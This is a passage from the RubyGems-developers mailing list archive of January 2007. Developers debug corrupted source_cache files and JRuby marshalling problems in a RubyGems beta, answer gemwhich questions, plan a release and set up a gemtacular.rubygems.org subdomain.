<0773529E-E4A2-4176-B134-6D5FACB3EA63@segment7.net> On Jan 7, 2007, at 04:33, Christopher McGrath wrote: > Hi, Just tried out the latest beta. I can install gems from local > files, but when I try to install/update remote gems I get. > > $ sudo gem install capistrano --inc --backtrace > ERROR: While executing gem ... (NoMethodError) > undefined method `source_index' for # > /opt/local/lib/ruby/site_ruby/1.8/rubygems/remote_installer.rb:81:in > `source_index_hash' > /opt/local/lib/ruby/site_ruby/1.8/rubygems/remote_installer.rb:80:in > `each' > /opt/local/lib/ruby/site_ruby/1.8/rubygems/remote_installer.rb:80:in > `source_index_hash' > /opt/local/lib/ruby/site_ruby/1.8/rubygems/remote_installer.rb:91:in > `specs_n_sources_matching' > /opt/local/lib/ruby/site_ruby/1.8/rubygems/remote_installer.rb:114:in > `find_gem_to_install' > /opt/local/lib/ruby/site_ruby/1.8/rubygems/remote_installer.rb:57:in > `install' > /opt/local/lib/ruby/site_ruby/1.8/rubygems/gem_commands.rb:274:in > `execute' > /opt/local/lib/ruby/site_ruby/1.8/rubygems/gem_commands.rb:236:in > `each' > /opt/local/lib/ruby/site_ruby/1.8/rubygems/gem_commands.rb:236:in > `execute' > /opt/local/lib/ruby/site_ruby/1.8/rubygems/command.rb:70:in `invoke' > /opt/local/lib/ruby/site_ruby/1.8/rubygems/cmd_manager.rb:120:in > `process_args' > /opt/local/lib/ruby/site_ruby/1.8/rubygems/cmd_manager.rb:91:in `run' > /opt/local/lib/ruby/site_ruby/1.8/rubygems/gem_runner.rb:30:in `run' > /opt/local/bin/gem:23 What is the output of `sudo gem sources`? Can you send the contents of /opt/local/lib/ruby/gems/1.8/source_cache? Can you then try deleteing the file and trying again? -- Eric Hodel - drbrain at segment7.net - http://blog.segment7.net I LIT YOUR GEM ON FIRE! From rubygems at freeze.org Sun Jan 7 20:12:16 2007 From: rubygems at freeze.org (Jim Freeze) Date: Sun, 7 Jan 2007 19:12:16 -0600 Subject: [Rubygems-developers] gemwhich and version problems Message-ID: <46D568C8-60DC-43D5-9610-7CC3AC659B21@freeze.org> % gem list rails *** LOCAL GEMS *** rails (1.1.6.5848, 1.1.6) Web-application framework with template engine, control-flow layer, and ORM. % gemwhich rails Can't find rails BTW, I get this for every gem installed application. % rails _1.1.6.5848_ -v /opt/local/ruby-1.8.4/lib/ruby/site_ruby/1.8/rubygems.rb:251:in `report_activate_error': RubyGem version error: rails(1.0.0 not = 1.1.6.5848) (Gem::LoadError) from /opt/local/ruby-1.8.4/lib/ruby/site_ruby/1.8/ rubygems.rb:188:in `activate' from /opt/local/ruby-1.8.4/lib/ruby/site_ruby/1.8/ rubygems.rb:66:in `active_gem_with_options' from /opt/local/ruby-1.8.4/lib/ruby/site_ruby/1.8/ rubygems.rb:59:in `require_gem' from /opt/local/ruby-1.8.4/bin/rails:17 % rails _1.1.6_ -v Rails 1.1.6 % gem -v 0.9.0 I thought rubygems was supposed to be able to handle any number of segments in a version. Jim Freeze -------------- next part -------------- An HTML attachment was scrubbed... URL: http://rubyforge.org/pipermail/rubygems-developers/attachments/20070107/a4ef7d2e/attachment.html From rubygems at freeze.org Sun Jan 7 20:17:13 2007 From: rubygems at freeze.org (Jim Freeze) Date: Sun, 7 Jan 2007 19:17:13 -0600 Subject: [Rubygems-developers] Problem with 0.9.0.9 In-Reply-To: <0773529E-E4A2-4176-B134-6D5FACB3EA63@segment7.net> References: <9D5EDFA9-279F-4EC5-941E-4E06651B0FEE@gmail.com> <0773529E-E4A2-4176-B134-6D5FACB3EA63@segment7.net> Message-ID: On Jan 7, 2007, at 7:09 PM, Eric Hodel wrote: > What is the output of `sudo gem sources`? > > Can you send the contents of /opt/local/lib/ruby/gems/1.8/ > source_cache? > > Can you then try deleteing the file and trying again? BTW, I have done several ruby installations in the last few days, and my process goes like this (psuedo code): download ruby && tar xzvf ruby... cd ruby.. ./configure && make && make install wget rubygems tar xzvf rubygems cd rubygems ruby setup.rb gem update --system gem install rake ... blah - fails rm source_cache gem install rake all works fine. This has happened on all 3 of the installs I did this week. Is there a problem with the above process, or is this a bug? Thanks Jim Freeze -------------- next part -------------- An HTML attachment was scrubbed... URL: http://rubyforge.org/pipermail/rubygems-developers/attachments/20070107/ce26602b/attachment.html From drbrain at segment7.net Sun Jan 7 20:35:49 2007 From: drbrain at segment7.net (Eric Hodel) Date: Sun, 7 Jan 2007 17:35:49 -0800 Subject: [Rubygems-developers] Problem with 0.9.0.9 In-Reply-To: References: <9D5EDFA9-279F-4EC5-941E-4E06651B0FEE@gmail.com> <0773529E-E4A2-4176-B134-6D5FACB3EA63@segment7.net> Message-ID: <3D7E6EE8-1D26-4DFC-A41D-D81517C2DE91@segment7.net> On Jan 7, 2007, at 17:17, Jim Freeze wrote: > On Jan 7, 2007, at 7:09 PM, Eric Hodel wrote: > >> What is the output of `sudo gem sources`? >> >> Can you send the contents of /opt/local/lib/ruby/gems/1.8/ >> source_cache? >> >> Can you then try deleteing the file and trying again? > > BTW, I have done several ruby installations in the last few days, > and my process goes like this (psuedo code): > > download ruby && tar xzvf ruby... > cd ruby.. > ./configure && make && make install > wget rubygems > tar xzvf rubygems > cd rubygems > ruby setup.rb > gem update --system > gem install rake > ... blah - fails > rm source_cache > gem install rake > all works fine. > > This has happened on all 3 of the installs I did this week. > > Is there a problem with the above process, or is this a bug? Its a bug somewhere, but where exactly is uncertain still. Did source_cache already exist, or were these systems virgin? There have been problems with source_cache being hosed since RubyGems 0.9.0, but I'm unsure if that's due to RubyGems changes or Ruby changes. I'm trying to collect corrupt source_cache files to reproduce the problem. -- Eric Hodel - drbrain at segment7.net - http://blog.segment7.net I LIT YOUR GEM ON FIRE! From drbrain at segment7.net Sun Jan 7 20:38:51 2007 From: drbrain at segment7.net (Eric Hodel) Date: Sun, 7 Jan 2007 17:38:51 -0800 Subject: [Rubygems-developers] rubygems 0.9.0.9 beta time? In-Reply-To: <45A00851.4030204@weirichhouse.org> References: <4D500F49-AB0A-41ED-B314-82BFF57407A2@segment7.net> <45951525.4080705@weirichhouse.org> <459FB1C9.70706@weirichhouse.org> <459FC3D0.3000709@weirichhouse.org> <45A00851.4030204@weirichhouse.org> Message-ID: <2F773280-51D5-4129-8CE4-95AA99F8EA2F@segment7.net> On Jan 6, 2007, at 12:36, Jim Weirich wrote: > Ok, I've applied some patches to specification.rb that might help > it be more resistant to really bad input. Unit tests are beefed up > as well. Version 0.9.0.9 is on the betagems web location. > > Michael, could you give the new version a try under JRuby? You can > get it with: > > gem update --system --source http://onestepback.org/betagems Announced! http://blog.segment7.net/articles/2007/01/07/rubygems-beta-0-9-0-9 -- Eric Hodel - drbrain at segment7.net - http://blog.segment7.net I LIT YOUR GEM ON FIRE! From c.r.mcgrath at gmail.com Sun Jan 7 20:42:04 2007 From: c.r.mcgrath at gmail.com (Christopher McGrath) Date: Mon, 8 Jan 2007 01:42:04 +0000 Subject: [Rubygems-developers] Problem with 0.9.0.9 In-Reply-To: <0773529E-E4A2-4176-B134-6D5FACB3EA63@segment7.net> References: <9D5EDFA9-279F-4EC5-941E-4E06651B0FEE@gmail.com> <0773529E-E4A2-4176-B134-6D5FACB3EA63@segment7.net> Message-ID: On 8 Jan 2007, at 01:09, Eric Hodel wrote: > On Jan 7, 2007, at 04:33, Christopher McGrath wrote: > > > What is the output of `sudo gem sources`? > > Can you send the contents of /opt/local/lib/ruby/gems/1.8/ > source_cache? > > Can you then try deleteing the file and trying again? > I tried deleting the file just after sending the email and that fixed the problem. Alas it means I don't have it to send you. I just tried updating another machine from 0.9 and seeing if it had the problem, but it worked fine there. I did notice the following error after doing: sudo gem update --system --source http://onestepback.org/betagems File not found: 'GPL.txt' (when generating ri docs) Chris > -- > Eric Hodel - drbrain at segment7.net - http://blog.segment7.net > > I LIT YOUR GEM ON FIRE! > > _______________________________________________ > Rubygems-developers mailing list > Rubygems-developers at rubyforge.org > http://rubyforge.org/mailman/listinfo/rubygems-developers From drbrain at segment7.net Sun Jan 7 20:41:51 2007 From: drbrain at segment7.net (Eric Hodel) Date: Sun, 7 Jan 2007 17:41:51 -0800 Subject: [Rubygems-developers] Problem with 0.9.0.9 In-Reply-To: References: <9D5EDFA9-279F-4EC5-941E-4E06651B0FEE@gmail.com> <0773529E-E4A2-4176-B134-6D5FACB3EA63@segment7.net> Message-ID: <1C4075A4-97CC-408D-A4DC-E379CCADAB8E@segment7.net> On Jan 7, 2007, at 17:42, Christopher McGrath wrote: > On 8 Jan 2007, at 01:09, Eric Hodel wrote: >> What is the output of `sudo gem sources`? >> >> Can you send the contents of /opt/local/lib/ruby/gems/1.8/ >> source_cache? >> >> Can you then try deleteing the file and trying again? > > I tried deleting the file just after sending the email and that fixed > the problem. Alas it means I don't have it to send you. Drat. > I just tried updating another machine from 0.9 and seeing if it had > the problem, but it worked fine there. I did notice the following > error after doing: > > sudo gem update --system --source http://onestepback.org/betagems > > File not found: 'GPL.txt' (when generating ri docs) Just fixed. -- Eric Hodel - drbrain at segment7.net - http://blog.segment7.net I LIT YOUR GEM ON FIRE! From jim.weirich at gmail.com Sun Jan 7 21:04:33 2007 From: jim.weirich at gmail.com (Jim Weirich) Date: Sun, 7 Jan 2007 21:04:33 -0500 Subject: [Rubygems-developers] gemwhich and version problems In-Reply-To: <46D568C8-60DC-43D5-9610-7CC3AC659B21@freeze.org> References: <46D568C8-60DC-43D5-9610-7CC3AC659B21@freeze.org> Message-ID: On 1/7/07, Jim Freeze wrote: > > % gem list rails > > *** LOCAL GEMS *** > > rails (1.1.6.5848, 1.1.6) > Web-application framework with template engine, control-flow layer, > and ORM. > % gemwhich rails > Can't find rails Gemwhich works off of file names that are loaded via require, not gem names. Try: gemwhich active_record/base > % rails _1.1.6.5848_ -v > /opt/local/ruby-1.8.4/lib/ruby/site_ruby/1.8/rubygems.rb:251:in > `report_activate_error': RubyGem version error: rails(1.0.0 not = > 1.1.6.5848) (Gem::LoadError) [...] > I thought rubygems was supposed to be able to handle any number of segments > in a version. Is version 1.1.6.5848 installed as a gem? Or is it installed from SVN? -- -- Jim Weirich jim at weirichhouse.org http://onestepback.org ----------------------------------------------------------------- "Beware of bugs in the above code; I have only proved it correct, not tried it." -- Donald Knuth (in a memo to Peter van Emde Boas) From rubygems at freeze.org Sun Jan 7 21:41:31 2007 From: rubygems at freeze.org (Jim Freeze) Date: Sun, 7 Jan 2007 20:41:31 -0600 Subject: [Rubygems-developers] Problem with 0.9.0.9 In-Reply-To: <3D7E6EE8-1D26-4DFC-A41D-D81517C2DE91@segment7.net> References: <9D5EDFA9-279F-4EC5-941E-4E06651B0FEE@gmail.com> <0773529E-E4A2-4176-B134-6D5FACB3EA63@segment7.net> <3D7E6EE8-1D26-4DFC-A41D-D81517C2DE91@segment7.net> Message-ID: On Jan 7, 2007, at 7:35 PM, Eric Hodel wrote: > > Its a bug somewhere, but where exactly is uncertain still. > > Did source_cache already exist, or were these systems virgin? These were all new systems - no ruby in site. > There have been problems with source_cache being hosed since RubyGems > 0.9.0, but I'm unsure if that's due to RubyGems changes or Ruby > changes. I'm trying to collect corrupt source_cache files to > reproduce the problem. Hmm, well, the problem may have been my fault. I installed rubygems 0.8.11 on each of these systems and immediately did update --system. I just noticed that there is a 0.9.0 version of rubygems. I will use that in the future. But, seems all the upgrades from 0.8.11 are going to fail. Maybe a quick fix would be just to have 'update --system' to just delete source_cache. :) Jim Freeze -------------- next part -------------- An HTML attachment was scrubbed... URL: http://rubyforge.org/pipermail/rubygems-developers/attachments/20070107/a4d94236/attachment-0001.html From rubygems at freeze.org Sun Jan 7 21:59:15 2007 From: rubygems at freeze.org (Jim Freeze) Date: Sun, 7 Jan 2007 20:59:15 -0600 Subject: [Rubygems-developers] gemwhich and version problems Message-ID: <6138B661-79B8-459F-AB04-E201130B02FE@freeze.org> On Jan 7, 2007, at 8:04 PM, Jim Weirich wrote: Gemwhich works off of file names that are loaded via require, not gem names. Try: gemwhich active_record/base Ok, thanks. But, I thought that it would handle commandline apps. What if a gem doesn't have a library, but only a commandline app? % rails _1.1.6.5848_ -v /opt/local/ruby-1.8.4/lib/ruby/site_ruby/1.8/rubygems.rb:251:in `report_activate_error': RubyGem version error: rails(1.0.0 not = 1.1.6.5848) (Gem::LoadError) [...] I thought rubygems was supposed to be able to handle any number of segments in a version. Is version 1.1.6.5848 installed as a gem? Or is it installed from SVN? As a gem. % ls -ld * drwxr-xr-x 9 root admin 306 Jan 6 23:12 actionmailer-1.2.5 drwxr-xr-x 9 root admin 306 Jan 6 23:22 actionmailer-1.2.5.5848 drwxr-xr-x 12 root admin 408 Jan 6 23:12 actionpack-1.12.5 drwxr-xr-x 11 root admin 374 Jan 6 23:22 actionpack-1.12.5.5848 drwxr-xr-x 11 root admin 374 Jan 6 23:12 actionwebservice-1.1.6 drwxr-xr-x 11 root admin 374 Jan 6 23:22 actionwebservice-1.1.6.5848 drwxr-xr-x 10 root admin 340 Jan 6 23:12 activerecord-1.14.4 drwxr-xr-x 10 root admin 340 Jan 6 23:22 activerecord-1.14.4.5848 drwxr-xr-x 4 root admin 136 Jan 6 23:11 activesupport-1.3.1 drwxr-xr-x 5 root admin 170 Jan 6 23:22 activesupport-1.3.1.5848 % pwd /opt/local/ruby-1.8.5-p12/lib/ruby/gems/1.8/gems Jim Freeze \ -------------- next part -------------- An HTML attachment was scrubbed... URL: http://rubyforge.org/pipermail/rubygems-developers/attachments/20070107/89b2ea7b/attachment.html From curt.hibbs at gmail.com Sun Jan 7 23:50:06 2007 From: curt.hibbs at gmail.com (Curt Hibbs) Date: Sun, 7 Jan 2007 22:50:06 -0600 Subject: [Rubygems-developers] Including new RubyGems release in One-Click Installer Message-ID: <31d15f490701072050h9a57f7br1399b2a925175425@mail.gmail.com> I just wanted to let you guys know that I am working on a new release of the One-Click Ruby Installer for Windows, I'm updating all of the included packages to their latest versiobn, and I want it to contain the new version of RubyGems (which you haven't yet released). I was hoping to release the one-click installer sometime in the next few weeks. Is this compatible with your planes for releasing the new RubyGems? Curt -------------- next part -------------- An HTML attachment was scrubbed... URL: http://rubyforge.org/pipermail/rubygems-developers/attachments/20070107/3467b74f/attachment.html From drbrain at segment7.net Mon Jan 8 11:33:05 2007 From: drbrain at segment7.net (Eric Hodel) Date: Mon, 8 Jan 2007 08:33:05 -0800 Subject: [Rubygems-developers] Including new RubyGems release in One-Click Installer In-Reply-To: <31d15f490701072050h9a57f7br1399b2a925175425@mail.gmail.com> References: <31d15f490701072050h9a57f7br1399b2a925175425@mail.gmail.com> Message-ID: On Jan 7, 2007, at 20:50, Curt Hibbs wrote: > I just wanted to let you guys know that I am working on a new > release of the One-Click Ruby Installer for Windows, I'm updating > all of the included packages to their latest versiobn, and I want > it to contain the new version of RubyGems (which you haven't yet > released). > > I was hoping to release the one-click installer sometime in the > next few weeks. Is this compatible with your planes for releasing > the new RubyGems? I'm imagining a week with the current beta, then release. -- Eric Hodel - drbrain at segment7.net - http://blog.segment7.net I LIT YOUR GEM ON FIRE! From chad at chadfowler.com Mon Jan 8 16:11:10 2007 From: chad at chadfowler.com (Chad Fowler) Date: Mon, 8 Jan 2007 14:11:10 -0700 Subject: [Rubygems-developers] Gemtacular.com In-Reply-To: References: Message-ID: On 1/3/07, Anthony Eden wrote: > On 1/3/07, Chad Fowler wrote: > > On 1/3/07, Anthony Eden wrote: > > > On 1/3/07, Chad Fowler wrote: > > > > > > [snip] > > > > > > > > > > > Awesome, Anthony! This is very similar to a twice-stalled project > > > > I've started, which was originally intended to go on rubygems.org as > > > > the home page. Would you be interested in collaborating and making it > > > > "official"? > > > > > > > > Chad > > > > > > Sure, I'd be happy to collaborate on it. Let me know what you have in mind. > > > > > > V/r > > > Anthony > > > > > > > I was thinking we could deploy this on rubygems.org and maybe open up > > the source for a few collaborators. In particular, Bruce Williams who > > does the Ruby Central design work might be persuaded to skin the app a > > bit. > > > > Chad > > Right now I have it deployed on my server with mongrel cluster and > Apache 2.2. Do we have access to the same setup on rubygems.org or > would it be a different deployment environment? Also would I be able > to use capistrano to do updates? Also, I suppose I would need to > include links to the existing documentation as well since it would be > replacing that homepage - what else would have to be included in order > to replace the current rubyforge.org homepage? > Sorry for going silent for a few days. I have the same setup exactly, so things should be easy. > One option as an alternative to deploying it to the actual > rubyforge.org hardware would be to just CNAME a third-level under > rubyforge.org until it is ready for final release. > Let's do it with a CNAME to get things started. Wanna start with gemtacular.rubygems.org? I'll set it up to point to your IP if so. > Regarding opening the source to some collaborators, that wouldn't be a > problem. I have it hosted on my subversion repo so I would just need > to set up some accounts for whomever would be involved. > > Let me know what you would like to do and we'll make it happen. > Let us know when you have the RubyForge stuff ready and we'll start pitching in. I know Bruce Williams had some UI stuff already laid out that would be a nice addition in the short term. Chad From anthonyeden at gmail.com Mon Jan 8 16:55:14 2007 From: anthonyeden at gmail.com (Anthony Eden) Date: Mon, 8 Jan 2007 16:55:14 -0500 Subject: [Rubygems-developers] Gemtacular.com In-Reply-To: References: Message-ID: On 1/8/07, Chad Fowler wrote: > On 1/3/07, Anthony Eden wrote: > > On 1/3/07, Chad Fowler wrote: > > > > Right now I have it deployed on my server with mongrel cluster and > > Apache 2.2. Do we have access to the same setup on rubygems.org or > > would it be a different deployment environment? Also would I be able > > to use capistrano to do updates? Also, I suppose I would need to > > include links to the existing documentation as well since it would be > > replacing that homepage - what else would have to be included in order > > to replace the current rubyforge.org homepage? > > > > Sorry for going silent for a few days. > > I have the same setup exactly, so things should be easy. Good. We can figure out who will handle deployment once the project is in RubyForge. > > > One option as an alternative to deploying it to the actual > > rubyforge.org hardware would be to just CNAME a third-level under > > rubyforge.org until it is ready for final release. > > > > Let's do it with a CNAME to get things started. Wanna start with > gemtacular.rubygems.org? I'll set it up to point to your IP if so. Sure, go ahead and do that. I've already modified the vhost so it will respond to gemtacular.rubygems.org. > > Regarding opening the source to some collaborators, that wouldn't be a > > problem. I have it hosted on my subversion repo so I would just need > > to set up some accounts for whomever would be involved. > > > > Let me know what you would like to do and we'll make it happen. > > > > Let us know when you have the RubyForge stuff ready and we'll start > pitching in. I know Bruce Williams had some UI stuff already laid out > that would be a nice addition in the short term. I've submitted for registration, I'll let you know once the source code is moved over into the rubyforge repo. -Anthony -- Cell: 808 782-5046 Current Location: Melbourne, FL From chad at chadfowler.com Mon Jan 8 19:24:00 2007 From: chad at chadfowler.com (Chad Fowler) Date: Mon, 8 Jan 2007 17:24:00 -0700 Subject: [Rubygems-developers] Gemtacular.com In-Reply-To: References: Message-ID: On 1/8/07, Anthony Eden wrote: > On 1/8/07, Chad Fowler wrote: > > On 1/3/07, Anthony Eden wrote: > > > On 1/3/07, Chad Fowler wrote: > > > > > > Right now I have it deployed on my server with mongrel cluster and > > > Apache 2.2. Do we have access to the same setup on rubygems.org or > > > would it be a different deployment environment? Also would I be able > > > to use capistrano to do updates? Also, I suppose I would need to > > > include links to the existing documentation as well since it would be > > > replacing that homepage - what else would have to be included in order > > > to replace the current rubyforge.org homepage? > > > > > > > Sorry for going silent for a few days. > > > > I have the same setup exactly, so things should be easy. > > Good. We can figure out who will handle deployment once the project is > in RubyForge. > > > > > > One option as an alternative to deploying it to the actual > > > rubyforge.org hardware would be to just CNAME a third-level under > > > rubyforge.org until it is ready for final release. > > > > > > > Let's do it with a CNAME to get things started. Wanna start with > > gemtacular.rubygems.org? I'll set it up to point to your IP if so. > > Sure, go ahead and do that. I've already modified the vhost so it will > respond to gemtacular.rubygems.org. > Done. http://gemtacular.rubygems.org > > > Regarding opening the source to some collaborators, that wouldn't be a > > > problem. I have it hosted on my subversion repo so I would just need > > > to set up some accounts for whomever would be involved. > > > > > > Let me know what you would like to do and we'll make it happen. > > > > > > > Let us know when you have the RubyForge stuff ready and we'll start > > pitching in. I know Bruce Williams had some UI stuff already laid out > > that would be a nice addition in the short term. > > I've submitted for registration, I'll let you know once the source > code is moved over into the rubyforge repo. > Cool. One of the things Bruce and I had started working on was using RubyForge as the authentication provider for rubygems.org. When we get access, that's one of the things I'd like to add. What are your thoughts? I think we should do some hacking on this, get it up as the main RubyGems.org page, and make some noise about it to get people using it. Chad From me at michaelstudman.com Mon Jan 8 21:08:42 2007 From: me at michaelstudman.com (Michael Studman) Date: Tue, 09 Jan 2007 02:08:42 +0000 Subject: [Rubygems-developers] rubygems 0.9.0.9 beta time? In-Reply-To: <45A175A4.1080408@michaelstudman.com> References: <45A175A4.1080408@michaelstudman.com> Message-ID: <45A2F92A.1030107@michaelstudman.com> Michael Studman wrote: > The bad news is that there is still at least one gem that seems to have > a problems and Specification#hash trips up on it. It's not fatal as it > doesn't occur every time, just one in every four or five gem actions. > > I'm not in a position until tomorrow to debug this further (I don't know > which spec is causing the problem) but here's what I know so far. > > The stack trace for the TypeError is below. It seems something is a Time > object when RubyGems expects a String: > > ~ michaelstudman$ gem --backtrace update > Updating installed gems... > ERROR: While executing gem ... (TypeError) > can't convert Time into String > So a bit of debugging later and JRuby's Marshal is choking on the Specification#hash for rwdtorrent version 0.04. In memory, this spec's instance variables look like this: {@homepage=http://rubyforge.org/projects/rwdapplications/, @name=rwdtorrent, @rubyforge_project=rwdapplications, @executables=Wed Oct 05 03:00:00 UTC 2005, @cert_chain=, @rubygems_version=0.9.0, @requirements=, @has_rdoc=true, @signing_key=, @rdoc_options=, @test_files=, @files=, @platform=ruby, @specification_version=1, @version=0.04, @dependencies=, @require_paths=., @post_install_message=, @bindir=bin, @email=steven at superant.com, @autorequire=, @required_ruby_version=3.2.1, @date=2005-04-16, @authors=, @description=rwdtorrent is a GUI front end for BitTorrent with rwdtinker and RubyWebDialogs features. Shell script runner, Ruby eval commands, calendar, mini calculator, @extra_rdoc_files=, @summary=rwdtorrent is a GUI front end for BitTorrent with rwdtinker and RubyWebDialogs features., @default_executable=, @extensions=} The following doesn't look right: @executables=Wed Oct 05 03:00:00 UTC 2005 I also swear I saw some other weird values in a previous debug run too that are no longer apparent. Checking http://gems.rubyforge.org/yaml and the metadata file in rwdtorrent 0.04's gem I can't see anything wrong. I'm a relative newbie to rubygems so maybe I'm looking in the wrong place? Jim or anybody else: can you help me confirm that this gem spec is OK before I continue my debugging? Michael. From jim at weirichhouse.org Mon Jan 8 22:42:48 2007 From: jim at weirichhouse.org (Jim Weirich) Date: Mon, 08 Jan 2007 22:42:48 -0500 Subject: [Rubygems-developers] rubygems 0.9.0.9 beta time? In-Reply-To: <45A2F92A.1030107@michaelstudman.com> References: <45A175A4.1080408@michaelstudman.com> <45A2F92A.1030107@michaelstudman.com> Message-ID: <45A30F38.9080107@weirichhouse.org> Michael Studman wrote: > So a bit of debugging later and JRuby's Marshal is choking on the > Specification#hash for rwdtorrent version 0.04. In memory, this spec's > instance variables look like this: > > { [...] @executables=Wed Oct 05 03:00:00 UTC 2005 [...] } > > I also swear I saw some other weird values in a previous debug run too > that are no longer apparent. Thanks for tracking that down. I non-array value for @executables will cause grief when calculating default_executable. Essentially the 'size' method will fail. I've gone through the code and did a spot check for other potential problems, fixed one or two other places and added a few tests for pathologically bad values. The problem is that *any* instance variable might be wrong and therefore any code that messes with the instance variables is suspect. I really wish I could understand why these values are so messed up in the spec. Looks like everything is hunky-dory in the yaml file. The only thing I can think of is that the spec data is corrupted during the marshal/unmarshal process. Since this seems to be primarily a JRuby issue, it makes me wonder if there is a problem with JRuby marshalling. Anyways, lacking more specific information, we will continue to battle these errors. I have released a new beta with the fixes (version 0.9.0.10). Feel free to pick it up and run it against JRuby again. (Question: Is the JRuby marshall format the same as standard Ruby's? Do the JRuby gem and the standard gem both store their marshalled cache files in the same place? Are they possibly interfering with each other?) -- -- Jim Weirich jim at weirichhouse.org http://onestepback.org -- In theory, practice and theory are the same. -- In practice, they are different. From drbrain at segment7.net Tue Jan 9 11:39:49 2007 From: drbrain at segment7.net (Eric Hodel) Date: Tue, 9 Jan 2007 08:39:49 -0800 Subject: [Rubygems-developers] rubygems 0.9.0.9 beta time? In-Reply-To: <45A30F38.9080107@weirichhouse.org> References: <45A175A4.1080408@michaelstudman.com> <45A2F92A.1030107@michaelstudman.com> <45A30F38.9080107@weirichhouse.org> Message-ID: <45C1020F-4345-473C-9C0E-C71413FE9F47@segment7.net> On Jan 8, 2007, at 19:42, Jim Weirich wrote: > Michael Studman wrote: >> So a bit of debugging later and JRuby's Marshal is choking on the >> Specification#hash for rwdtorrent version 0.04. In memory, this >> spec's >> instance variables look like this: >> >> { [...] @executables=Wed Oct 05 03:00:00 UTC 2005 [...] } >> >> I also swear I saw some other weird values in a previous debug run >> too >> that are no longer apparent. > > Thanks for tracking that down. I non-array value for @executables > will > cause grief when calculating default_executable. Essentially the > 'size' > method will fail. > > I've gone through the code and did a spot check for other potential > problems, fixed one or two other places and added a few tests for > pathologically bad values. The problem is that *any* instance > variable > might be wrong and therefore any code that messes with the instance > variables is suspect. > > I really wish I could understand why these values are so messed up in > the spec. Looks like everything is hunky-dory in the yaml file. The > only thing I can think of is that the spec data is corrupted during > the > marshal/unmarshal process. Since this seems to be primarily a JRuby > issue, it makes me wonder if there is a problem with JRuby > marshalling. Same here. require 'rubygems/source_info_cache' si = Gem::SourceInfoCache.cache_data['http://gems.ource_index p si.search(/rwdtorrent/).first.instance_variable_get(:@executables) # => ["rwdtorrent"] > (Question: Is the JRuby marshall format the same as standard Ruby's? > Do the JRuby gem and the standard gem both store their marshalled > cache > files in the same place? Are they possibly interfering with each > other?) Can you gzip and post a JRuby source_cache file that's corrupt? Or run the above against a JRuby source_cache with a matzruby? -- Eric Hodel - drbrain at segment7.net - http://blog.segment7.net I LIT YOUR GEM ON FIRE! From steven at lumos.us Tue Jan 9 12:44:29 2007 From: steven at lumos.us (Steven Lumos) Date: Tue, 09 Jan 2007 09:44:29 -0800 Subject: [Rubygems-developers] Gemtacular.com References: Message-ID: <86hcv0f62q.fsf@bitty.lumos.us> "Chad Fowler" writes: > On 1/8/07, Anthony Eden wrote: >> On 1/8/07, Chad Fowler wrote: >> > On 1/3/07, Anthony Eden wrote: >> > > On 1/3/07, Chad Fowler wrote: >> > > >> > > Right now I have it deployed on my server with mongrel cluster and >> > > Apache 2.2. Do we have access to the same setup on rubygems.org or >> > > would it be a different deployment environment? Also would I be able >> > > to use capistrano to do updates? Also, I suppose I would need to >> > > include links to the existing documentation as well since it would be >> > > replacing that homepage - what else would have to be included in order >> > > to replace the current rubyforge.org homepage? >> > > >> > >> > Sorry for going silent for a few days. >> > >> > I have the same setup exactly, so things should be easy. >> >> Good. We can figure out who will handle deployment once the project is >> in RubyForge. >> >> > >> > > One option as an alternative to deploying it to the actual >> > > rubyforge.org hardware would be to just CNAME a third-level under >> > > rubyforge.org until it is ready for final release. >> > > >> > >> > Let's do it with a CNAME to get things started. Wanna start with >> > gemtacular.rubygems.org? I'll set it up to point to your IP if so. >> >> Sure, go ahead and do that. I've already modified the vhost so it will >> respond to gemtacular.rubygems.org. >> > > > Done. http://gemtacular.rubygems.org Guys. Since it's not necessary to squeeze between domain squatters edgewise in this case, how about a nice boring name like list.rubygems.org? Steve >> > > Regarding opening the source to some collaborators, that wouldn't be a >> > > problem. I have it hosted on my subversion repo so I would just need >> > > to set up some accounts for whomever would be involved. >> > > >> > > Let me know what you would like to do and we'll make it happen. >> > > >> > >> > Let us know when you have the RubyForge stuff ready and we'll start >> > pitching in. I know Bruce Williams had some UI stuff already laid out >> > that would be a nice addition in the short term. >> >> I've submitted for registration, I'll let you know once the source >> code is moved over into the rubyforge repo. >> > > Cool. One of the things Bruce and I had started working on was using > RubyForge as the authentication provider for rubygems.org. When we > get access, that's one of the things I'd like to add. What are your > thoughts? > > I think we should do some hacking on this, get it up as the main > RubyGems.org page, and make some noise about it to get people using > it. > > Chad From chad at chadfowler.com Tue Jan 9 14:20:55 2007 From: chad at chadfowler.com (Chad Fowler) Date: Tue, 9 Jan 2007 12:20:55 -0700 Subject: [Rubygems-developers] Gemtacular.com In-Reply-To: <86hcv0f62q.fsf@bitty.lumos.us> References: <86hcv0f62q.fsf@bitty.lumos.us> Message-ID: On 1/9/07, Steven Lumos wrote: > "Chad Fowler" writes: > > > On 1/8/07, Anthony Eden wrote: > >> On 1/8/07, Chad Fowler wrote: > >> > On 1/3/07, Anthony Eden wrote: > >> > > On 1/3/07, Chad Fowler wrote: > >> > > > >> > > Right now I have it deployed on my server with mongrel cluster and > >> > > Apache 2.2. Do we have access to the same setup on rubygems.org or > >> > > would it be a different deployment environment? Also would I be able > >> > > to use capistrano to do updates? Also, I suppose I would need to > >> > > include links to the existing documentation as well since it would be > >> > > replacing that homepage - what else would have to be included in order > >> > > to replace the current rubyforge.org homepage? > >> > > > >> > > >> > Sorry for going silent for a few days. > >> > > >> > I have the same setup exactly, so things should be easy. > >> > >> Good. We can figure out who will handle deployment once the project is > >> in RubyForge. > >> > >> > > >> > > One option as an alternative to deploying it to the actual > >> > > rubyforge.org hardware would be to just CNAME a third-level under > >> > > rubyforge.org until it is ready for final release. > >> > > > >> > > >> > Let's do it with a CNAME to get things started. Wanna start with > >> > gemtacular.rubygems.org? I'll set it up to point to your IP if so. > >> > >> Sure, go ahead and do that. I've already modified the vhost so it will > >> respond to gemtacular.rubygems.org. > >> > > > > > > Done. http://gemtacular.rubygems.org > > Guys. Since it's not necessary to squeeze between domain squatters > edgewise in this case, how about a nice boring name like > list.rubygems.org? > > Steve > I agree with your sentiment. My hope would be that when this goes live for "real", it's just rubygems.org and doesn't have a special name. Anthony, how do you feel about that? in that case, I see the current DNS name to be more of a project code name than anything else. Chad From anthonyeden at gmail.com Tue Jan 9 15:21:55 2007 From: anthonyeden at gmail.com (Anthony Eden) Date: Tue, 9 Jan 2007 15:21:55 -0500 Subject: [Rubygems-developers] Gemtacular.com In-Reply-To: References: <86hcv0f62q.fsf@bitty.lumos.us> Message-ID: On 1/9/07, Chad Fowler wrote: > On 